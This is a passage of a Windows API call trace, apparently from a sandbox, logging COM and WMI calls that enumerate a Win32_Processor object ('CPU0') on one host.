	[0124.988] IClientSecurity:QueryBlanket (in: This=0x50b4b60, pProxy=0x50b4b5c, pAuthnSvc=0x2de03c, pAuthzSvc=0x2de038, pServerPrincName=0x2de048, pAuthnLevel=0x2de040, pImpLevel=0x2de02c, pAuthInfo=0x2de030, pCapabilites=0x2de034 | out: pAuthnSvc=0x2de03c*=0xa, pAuthzSvc=0x2de038*=0x0, pServerPrincName=0x2de048, pAuthnLevel=0x2de040*=0x6, pImpLevel=0x2de02c*=0x2, pAuthInfo=0x2de030, pCapabilites=0x2de034*=0x1) returned 0x0
	[0124.988] IUnknown:Release (This=0x50b4b60) returned 0x1
	[0124.988] IUnknown:QueryInterface (in: This=0x50b4b5c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddfe8 | out: ppvObject=0x2ddfe8*=0x7b4cb4) returned 0x0
	[0124.988] IUnknown:QueryInterface (in: This=0x50b4b5c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddfe4 | out: ppvObject=0x2ddfe4*=0x50b4b60) returned 0x0
	[0124.988] IClientSecurity:SetBlanket (This=0x50b4b60, pProxy=0x50b4b5c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0124.990] IUnknown:Release (This=0x50b4b60) returned 0x2
	[0124.990] IUnknown:Release (This=0x7b4cb4) returned 0x1
	[0124.990] CoTaskMemFree (pv=0x790500) 
	[0124.990] IUnknown:Release (This=0x50adc64) returned 0x2
	[0124.990] IUnknown:QueryInterface (in: This=0x50b4b5c, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd99c | out: ppvObject=0x2dd99c*=0x7b4cb4) returned 0x0
	[0124.991] IUnknown:QueryInterface (in: This=0x7b4cb4, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x2dd958 | out: ppvObject=0x2dd958*=0x0) returned 0x80004002
	[0124.991] IUnknown:QueryInterface (in: This=0x7b4cb4, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x2dd84c | out: ppvObject=0x2dd84c*=0x0) returned 0x80004002
	[0124.992] IUnknown:AddRef (This=0x7b4cb4) returned 0x3
	[0124.992] CoGetContextToken (in: pToken=0x2dd7e4 | out: pToken=0x2dd7e4) returned 0x0
	[0124.992] CoGetContextToken (in: pToken=0x2dd7a8 | out: pToken=0x2dd7a8) returned 0x0
	[0124.992] IUnknown:QueryInterface (in: This=0x757918, riid=0x6f1b3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd7dc | out: ppvObject=0x2dd7dc*=0x757924) returned 0x0
	[0124.992] IComThreadingInfo:GetCurrentApartmentType (in: This=0x757924, pAptType=0x2dd80c | out: pAptType=0x2dd80c*=3) returned 0x0
	[0124.992] IUnknown:Release (This=0x757924) returned 0x1
	[0124.992] IUnknown:QueryInterface (in: This=0x7b4cb4, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd7cc | out: ppvObject=0x2dd7cc*=0x7b4c14) returned 0x0
	[0124.992] IMarshal:GetUnmarshalClass (in: This=0x7b4c14, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x2dd7d4 | out: pCid=0x2dd7d4*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0124.992] IUnknown:Release (This=0x7b4c14) returned 0x3
	[0124.992] CoGetContextToken (in: pToken=0x2dd7dc | out: pToken=0x2dd7dc) returned 0x0
	[0124.992] IUnknown:AddRef (This=0x7b4cb4) returned 0x4
	[0124.993] IUnknown:QueryInterface (in: This=0x7b4cb4, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd850 | out: ppvObject=0x2dd850*=0x7b4c9c) returned 0x0
	[0124.993] IUnknown:Release (This=0x7b4cb4) returned 0x4
	[0124.993] IRpcOptions:Query (in: This=0x7b4c9c, pPrx=0x7b4cb4, dwProperty=2, pdwValue=0x2dd874 | out: pdwValue=0x2dd874) returned 0x80004002
	[0124.993] IUnknown:Release (This=0x7b4c9c) returned 0x3
	[0124.993] IUnknown:Release (This=0x7b4cb4) returned 0x2
	[0124.993] CoGetContextToken (in: pToken=0x2ddc50 | out: pToken=0x2ddc50) returned 0x0
	[0124.993] CoGetContextToken (in: pToken=0x2ddc10 | out: pToken=0x2ddc10) returned 0x0
	[0124.993] IUnknown:AddRef (This=0x7b4cb4) returned 0x3
	[0124.993] IUnknown:QueryInterface (in: This=0x7b4cb4, riid=0x2ddc8c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x2ddc88 | out: ppvObject=0x2ddc88*=0x50b4b5c) returned 0x0
	[0124.993] IUnknown:Release (This=0x7b4cb4) returned 0x3
	[0124.993] IUnknown:Release (This=0x50b4b5c) returned 0x2
	[0124.994] IUnknown:Release (This=0x50b4b5c) returned 0x1
	[0124.994] CoGetContextToken (in: pToken=0x2de320 | out: pToken=0x2de320) returned 0x0
	[0124.994] CoGetContextToken (in: pToken=0x2de2e0 | out: pToken=0x2de2e0) returned 0x0
	[0124.994] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0124.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de35c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de358 | out: ppvObject=0x2de358*=0x50ada88) returned 0x0
	[0124.994] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0124.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50ada88, puCount=0x2de4d4 | out: puCount=0x2de4d4*=0x2) returned 0x0
	[0124.994] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.994] CoGetContextToken (in: pToken=0x2de310 | out: pToken=0x2de310) returned 0x0
	[0124.994] CoGetContextToken (in: pToken=0x2de2d0 | out: pToken=0x2de2d0) returned 0x0
	[0124.994] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0124.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de34c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de348 | out: ppvObject=0x2de348*=0x50ada88) returned 0x0
	[0124.994] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0124.994] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de4d0*=0x0, pszText=0x0 | out: puBuffLength=0x2de4d0*=0xf, pszText=0x0) returned 0x0
	[0124.995] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.995] CoGetContextToken (in: pToken=0x2de310 | out: pToken=0x2de310) returned 0x0
	[0124.995] CoGetContextToken (in: pToken=0x2de2d0 | out: pToken=0x2de2d0) returned 0x0
	[0124.995] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0124.995] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de34c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de348 | out: ppvObject=0x2de348*=0x50ada88) returned 0x0
	[0124.995] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0124.995] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x2de4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0124.995] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0124.995] CoGetContextToken (in: pToken=0x2dde68 | out: pToken=0x2dde68) returned 0x0
	[0124.995] CoGetContextToken (in: pToken=0x2dde28 | out: pToken=0x2dde28) returned 0x0
	[0124.995] IUnknown:AddRef (This=0x7b4cb4) returned 0x2
	[0124.995] IUnknown:QueryInterface (in: This=0x7b4cb4, riid=0x2ddea4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x2ddea0 | out: ppvObject=0x2ddea0*=0x50b4b5c) returned 0x0
	[0124.995] IUnknown:Release (This=0x7b4cb4) returned 0x2
	[0124.995] IUnknown:AddRef (This=0x50b4b5c) returned 0x3
	[0124.996] IEnumWbemClassObject:Clone (in: This=0x50b4b5c, ppEnum=0x2de49c | out: ppEnum=0x2de49c*=0x50b4c24) returned 0x0
	[0124.996] IUnknown:QueryInterface (in: This=0x50b4c24, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de158 | out: ppvObject=0x2de158*=0x50b4c28) returned 0x0
	[0124.996] IClientSecurity:QueryBlanket (in: This=0x50b4c28, pProxy=0x50b4c24, pAuthnSvc=0x2de1a0, pAuthzSvc=0x2de19c, pServerPrincName=0x2de1ac, pAuthnLevel=0x2de1a4, pImpLevel=0x2de190, pAuthInfo=0x2de194, pCapabilites=0x2de198 | out: pAuthnSvc=0x2de1a0*=0xa, pAuthzSvc=0x2de19c*=0x0, pServerPrincName=0x2de1ac, pAuthnLevel=0x2de1a4*=0x6, pImpLevel=0x2de190*=0x2, pAuthInfo=0x2de194, pCapabilites=0x2de198*=0x1) returned 0x0
	[0124.996] IUnknown:Release (This=0x50b4c28) returned 0x1
	[0124.996] IUnknown:QueryInterface (in: This=0x50b4c24, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de14c | out: ppvObject=0x2de14c*=0x7b79e4) returned 0x0
	[0124.996] IUnknown:QueryInterface (in: This=0x50b4c24, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2de148 | out: ppvObject=0x2de148*=0x50b4c28) returned 0x0
	[0124.997] IClientSecurity:SetBlanket (This=0x50b4c28, pProxy=0x50b4c24, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0124.998] IUnknown:Release (This=0x50b4c28) returned 0x2
	[0124.998] IUnknown:Release (This=0x7b79e4) returned 0x1
	[0124.998] CoTaskMemFree (pv=0x7905c0) 
	[0124.998] IUnknown:Release (This=0x50b4b5c) returned 0x2
	[0124.998] IUnknown:QueryInterface (in: This=0x50b4c24, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2ddaf4 | out: ppvObject=0x2ddaf4*=0x7b79e4) returned 0x0
	[0124.998] IUnknown:QueryInterface (in: This=0x7b79e4, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x2ddab0 | out: ppvObject=0x2ddab0*=0x0) returned 0x80004002
	[0124.999] IUnknown:QueryInterface (in: This=0x7b79e4, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x2dd9a4 | out: ppvObject=0x2dd9a4*=0x0) returned 0x80004002
	[0124.999] IUnknown:AddRef (This=0x7b79e4) returned 0x3
	[0124.999] CoGetContextToken (in: pToken=0x2dd93c | out: pToken=0x2dd93c) returned 0x0
	[0124.999] CoGetContextToken (in: pToken=0x2dd900 | out: pToken=0x2dd900) returned 0x0
	[0124.999] IUnknown:QueryInterface (in: This=0x757918, riid=0x6f1b3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd934 | out: ppvObject=0x2dd934*=0x757924) returned 0x0
	[0124.999] IComThreadingInfo:GetCurrentApartmentType (in: This=0x757924, pAptType=0x2dd964 | out: pAptType=0x2dd964*=3) returned 0x0
	[0124.999] IUnknown:Release (This=0x757924) returned 0x1
	[0125.000] IUnknown:QueryInterface (in: This=0x7b79e4, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd924 | out: ppvObject=0x2dd924*=0x7b7944) returned 0x0
	[0125.000] IMarshal:GetUnmarshalClass (in: This=0x7b7944, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x2dd92c | out: pCid=0x2dd92c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0125.000] IUnknown:Release (This=0x7b7944) returned 0x3
	[0125.000] CoGetContextToken (in: pToken=0x2dd934 | out: pToken=0x2dd934) returned 0x0
	[0125.000] IUnknown:AddRef (This=0x7b79e4) returned 0x4
	[0125.000] IUnknown:QueryInterface (in: This=0x7b79e4, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd9a8 | out: ppvObject=0x2dd9a8*=0x7b79cc) returned 0x0
	[0125.000] IUnknown:Release (This=0x7b79e4) returned 0x4
	[0125.000] IRpcOptions:Query (in: This=0x7b79cc, pPrx=0x7b79e4, dwProperty=2, pdwValue=0x2dd9cc | out: pdwValue=0x2dd9cc) returned 0x80004002
	[0125.000] IUnknown:Release (This=0x7b79cc) returned 0x3
	[0125.001] IUnknown:Release (This=0x7b79e4) returned 0x2
	[0125.001] CoGetContextToken (in: pToken=0x2ddda8 | out: pToken=0x2ddda8) returned 0x0
	[0125.001] CoGetContextToken (in: pToken=0x2ddd68 | out: pToken=0x2ddd68) returned 0x0
	[0125.001] IUnknown:AddRef (This=0x7b79e4) returned 0x3
	[0125.001] IUnknown:QueryInterface (in: This=0x7b79e4, riid=0x2ddde4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x2ddde0 | out: ppvObject=0x2ddde0*=0x50b4c24) returned 0x0
	[0125.001] IUnknown:Release (This=0x7b79e4) returned 0x3
	[0125.001] IUnknown:Release (This=0x50b4c24) returned 0x2
	[0125.001] IUnknown:Release (This=0x50b4c24) returned 0x1
	[0125.006] CoGetContextToken (in: pToken=0x2de39c | out: pToken=0x2de39c) returned 0x0
	[0125.006] CoGetContextToken (in: pToken=0x2de35c | out: pToken=0x2de35c) returned 0x0
	[0125.006] IUnknown:AddRef (This=0x7b79e4) returned 0x2
	[0125.006] IUnknown:QueryInterface (in: This=0x7b79e4, riid=0x2de3d8*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x2de3d4 | out: ppvObject=0x2de3d4*=0x50b4c24) returned 0x0
	[0125.006] IUnknown:Release (This=0x7b79e4) returned 0x2
	[0125.006] IUnknown:AddRef (This=0x50b4c24) returned 0x3
	[0125.006] IEnumWbemClassObject:Reset (This=0x50b4c24) returned 0x0
	[0125.016] IUnknown:Release (This=0x50b4c24) returned 0x2
	[0125.018] CoGetContextToken (in: pToken=0x2de28c | out: pToken=0x2de28c) returned 0x0
	[0125.019] IUnknown:AddRef (This=0x50b4c24) returned 0x3
	[0125.019] IEnumWbemClassObject:Next (in: This=0x50b4c24, lTimeout=-1, uCount=0x1, apObjects=0x761048, puReturned=0x2558848 | out: apObjects=0x761048*=0x50b4c70, puReturned=0x2558848*=0x1) returned 0x0
	[0127.768] IUnknown:QueryInterface (in: This=0x50b4c70, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd898 | out: ppvObject=0x2dd898*=0x50b4c70) returned 0x0
	[0127.768] IUnknown:QueryInterface (in: This=0x50b4c70, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x2dd854 | out: ppvObject=0x2dd854*=0x0) returned 0x80004002
	[0127.778] IUnknown:QueryInterface (in: This=0x50b4c70, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x2dd748 | out: ppvObject=0x2dd748*=0x0) returned 0x80004002
	[0127.778] IUnknown:AddRef (This=0x50b4c70) returned 0x3
	[0127.778] CoGetContextToken (in: pToken=0x2dd6e0 | out: pToken=0x2dd6e0) returned 0x0
	[0127.778] CoGetContextToken (in: pToken=0x2dd6a4 | out: pToken=0x2dd6a4) returned 0x0
	[0127.778] IUnknown:QueryInterface (in: This=0x757918, riid=0x6f1b3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd6d8 | out: ppvObject=0x2dd6d8*=0x757924) returned 0x0
	[0127.779] IComThreadingInfo:GetCurrentApartmentType (in: This=0x757924, pAptType=0x2dd708 | out: pAptType=0x2dd708*=3) returned 0x0
	[0127.779] IUnknown:Release (This=0x757924) returned 0x1
	[0127.779] IUnknown:QueryInterface (in: This=0x50b4c70, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd6c8 | out: ppvObject=0x2dd6c8*=0x50b4c74) returned 0x0
	[0127.779] IMarshal:GetUnmarshalClass (in: This=0x50b4c74, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x2dd6d0 | out: pCid=0x2dd6d0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0
	[0127.779] IUnknown:Release (This=0x50b4c74) returned 0x3
	[0127.779] CoGetContextToken (in: pToken=0x2dd6d8 | out: pToken=0x2dd6d8) returned 0x0
	[0127.779] IUnknown:AddRef (This=0x50b4c70) returned 0x4
	[0127.780] IUnknown:QueryInterface (in: This=0x50b4c70, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2dd74c | out: ppvObject=0x2dd74c*=0x0) returned 0x80004002
	[0127.780] IUnknown:Release (This=0x50b4c70) returned 0x3
	[0127.780] IUnknown:Release (This=0x50b4c70) returned 0x2
	[0127.780] CoGetContextToken (in: pToken=0x2ddb38 | out: pToken=0x2ddb38) returned 0x0
	[0127.780] CoGetContextToken (in: pToken=0x2ddaf8 | out: pToken=0x2ddaf8) returned 0x0
	[0127.780] IUnknown:AddRef (This=0x50b4c70) returned 0x3
	[0127.780] IUnknown:QueryInterface (in: This=0x50b4c70, riid=0x2ddb74*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x2ddb70 | out: ppvObject=0x2ddb70*=0x50b4c70) returned 0x0
	[0127.780] IUnknown:Release (This=0x50b4c70) returned 0x3
	[0127.780] IUnknown:Release (This=0x50b4c70) returned 0x2
	[0127.780] IUnknown:Release (This=0x50b4c70) returned 0x1
	[0127.780] IUnknown:Release (This=0x50b4c24) returned 0x2
	[0127.780] CoGetContextToken (in: pToken=0x2de420 | out: pToken=0x2de420) returned 0x0
	[0127.780] IUnknown:AddRef (This=0x50b4c70) returned 0x2
	[0127.781] IWbemClassObject:Get (in: This=0x50b4c70, wszName="__GENUS", lFlags=0, pVal=0x2de49c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2de550*=0, plFlavor=0x2de54c*=0 | out: pVal=0x2de49c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2de550*=3, plFlavor=0x2de54c*=64) returned 0x0
	[0127.781] IWbemClassObject:Get (in: This=0x50b4c70, wszName="__PATH", lFlags=0, pVal=0x2de47c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2de534*=0, plFlavor=0x2de530*=0 | out: pVal=0x2de47c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XABNCPUWKW\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x2de534*=8, plFlavor=0x2de530*=64) returned 0x0
	[0127.781] SysStringLen (param_1="\\\\XABNCPUWKW\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x37
	[0127.781] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x308
	[0127.781] GetLastError () returned 0x0
	[0127.781] SetEvent (hEvent=0x27c) returned 1
	[0127.781] GetLastError () returned 0x0
	[0127.781] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x2de498*=0x308, lpdwindex=0x2de250 | out: lpdwindex=0x2de250) returned 0x0
	[0127.784] CoGetContextToken (in: pToken=0x2de2e8 | out: pToken=0x2de2e8) returned 0x0
	[0127.784] CoGetContextToken (in: pToken=0x2de2a8 | out: pToken=0x2de2a8) returned 0x0
	[0127.784] WbemDefPath:IUnknown:AddRef (This=0x50ae160) returned 0x2
	[0127.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ae160, riid=0x2de324*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de320 | out: ppvObject=0x2de320*=0x50ae160) returned 0x0
	[0127.784] WbemDefPath:IUnknown:Release (This=0x50ae160) returned 0x2
	[0127.784] WbemDefPath:IUnknown:Release (This=0x50ae160) returned 0x1
	[0127.784] CoGetContextToken (in: pToken=0x2de368 | out: pToken=0x2de368) returned 0x0
	[0127.784] CoGetContextToken (in: pToken=0x2de328 | out: pToken=0x2de328) returned 0x0
	[0127.784] WbemDefPath:IUnknown:AddRef (This=0x50ae160) returned 0x2
	[0127.784] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ae160, riid=0x2de3a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de3a0 | out: ppvObject=0x2de3a0*=0x50ae160) returned 0x0
	[0127.784] WbemDefPath:IUnknown:Release (This=0x50ae160) returned 0x2
	[0127.784] WbemDefPath:IWbemPath:SetText (This=0x50ae160, uMode=0x4, pszPath="\\\\XABNCPUWKW\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0
	[0127.785] WbemDefPath:IUnknown:Release (This=0x50ae160) returned 0x1
	[0127.785] CoGetContextToken (in: pToken=0x2de354 | out: pToken=0x2de354) returned 0x0
	[0127.785] CoGetContextToken (in: pToken=0x2de314 | out: pToken=0x2de314) returned 0x0
	[0127.785] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0127.785] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de390*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de38c | out: ppvObject=0x2de38c*=0x50ada88) returned 0x0
	[0127.785] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0127.785] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x50ada88, puCount=0x2de508 | out: puCount=0x2de508*=0x2) returned 0x0
	[0127.785] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0127.785] CoGetContextToken (in: pToken=0x2de344 | out: pToken=0x2de344) returned 0x0
	[0127.785] CoGetContextToken (in: pToken=0x2de304 | out: pToken=0x2de304) returned 0x0
	[0127.785] WbemDefPath:IUnknown:AddRef (This=0x50ada88) returned 0x3
	[0127.785] WbemDefPath:IUnknown:QueryInterface (in: This=0x50ada88, riid=0x2de380*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x2de37c | out: ppvObject=0x2de37c*=0x50ada88) returned 0x0
	[0127.785] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x3
	[0127.785] WbemDefPath:IWbemPath:GetText (in: This=0x50ada88, lFlags=4, puBuffLength=0x2de504*=0x0, pszText=0x0 | out: puBuffLength=0x2de504*=0xf, pszText=0x0) returned 0x0
	[0127.785] WbemDefPath:IUnknown:Release (This=0x50ada88) returned 0x2
	[0127.785] CoGetContextToken (in: pToken=0x2de344 | out: pToken=0x2de344) returned 0x0
